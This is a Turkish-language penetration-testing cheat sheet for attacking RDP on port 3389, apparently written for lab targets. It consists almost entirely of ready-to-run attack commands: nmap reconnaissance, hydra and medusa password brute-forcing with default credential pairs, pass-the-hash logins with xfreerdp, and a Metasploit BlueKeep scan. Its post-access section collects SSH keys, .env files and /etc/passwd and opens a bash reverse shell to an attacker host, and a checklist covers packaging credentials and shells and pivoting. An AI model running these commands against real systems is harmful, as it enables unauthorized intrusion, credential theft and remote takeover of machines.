3389 - Pentesting RDP

RDP windows

RDP giriş yüzeyi; NLA durumu, brute, PTH ve tarihi RCE (BlueKeep) test edilir. Hedef lab IP’si üzerinde komutları 3389 portuna göre uyarla; her başarıyı ayrı kanıtla.

Metodoloji

1. 3389 fingerprint.

2. NLA/credSSP.

3. Brute/PTH.

4. CVE.

Keşif

nmap -Pn -sV -p3389 TARGET

nmap -Pn -p3389 --script rdp-enum-encryption,rdp-ntlm-info TARGET

rdesktop TARGET

nxc rdp TARGET -u user -p pass

Access

xfreerdp /u:user /p:pass /v:TARGET /cert:ignore

hydra -L users.txt -P pass.txt rdp://TARGET

xfreerdp /u:user /pth:NTHASH /v:TARGET

CVE

msfconsole -q -x 'use auxiliary/scanner/rdp/cve_2019_0708_bluekeep; set RHOSTS TARGET; run'

Derin enum

RDP için ek keşif ve fingerprint.

nmap -Pn -sV -sC -p3389 TARGET

nmap -Pn -p3389 --script safe,discovery TARGET

timeout 5 bash -c 'echo | openssl s_client -connect TARGET:3389' 2>/dev/null | head

python3 -c "import socket;s=socket.create_connection(('TARGET',3389));s.settimeout(3);print(s.recv(4096))"

Banner / TLS / ALPN notları → RDP

Kimlik & brute (ek)

hydra -L users.txt -P rockyou.txt -s 3389 PROTOCOL://TARGET -t 4

medusa -h TARGET -U users.txt -P rockyou.txt -M PROTOCOL -n 3389

nmap -p3389 --script '*-brute' TARGET

admin/admin, root/root, guest/(boş), test/test

Exploit arama

searchsploit RDP

msfconsole -q -x 'search RDP; exit'

nuclei -u https://TARGET:3389 -t cves/ -silent -severity || true

nuclei -u http://TARGET:3389 -tags tech -silent || true

Manuel protokol

nc -nv TARGET 3389

printf '
' | timeout 3 nc -nv TARGET 3389

curl -vk --http1.0 http://TARGET:3389/

Wireshark/tcpdump ile konuşmayı kaydet; replay dene

Post-erişim & loot

config, key, session, env, backup

find / -name '*.conf' -o -name '*.env' -o -name 'id_rsa' 2>/dev/null | head

ss -lntp; ip a; cat /etc/passwd | head

bash -i >& /dev/tcp/ATTACKER/443 0>&1

mkdir -p loot && tee loot/notes.txt

Operasyon checklist

[ ] Fingerprint / sürüm
[ ] Auth ve anonim erişim
[ ] PoC etki gösterildi
[ ] Credential/shell paketlendi
[ ] Pivot notu

Zincir

rdp-info → creds/PTH/CVE → desktop shell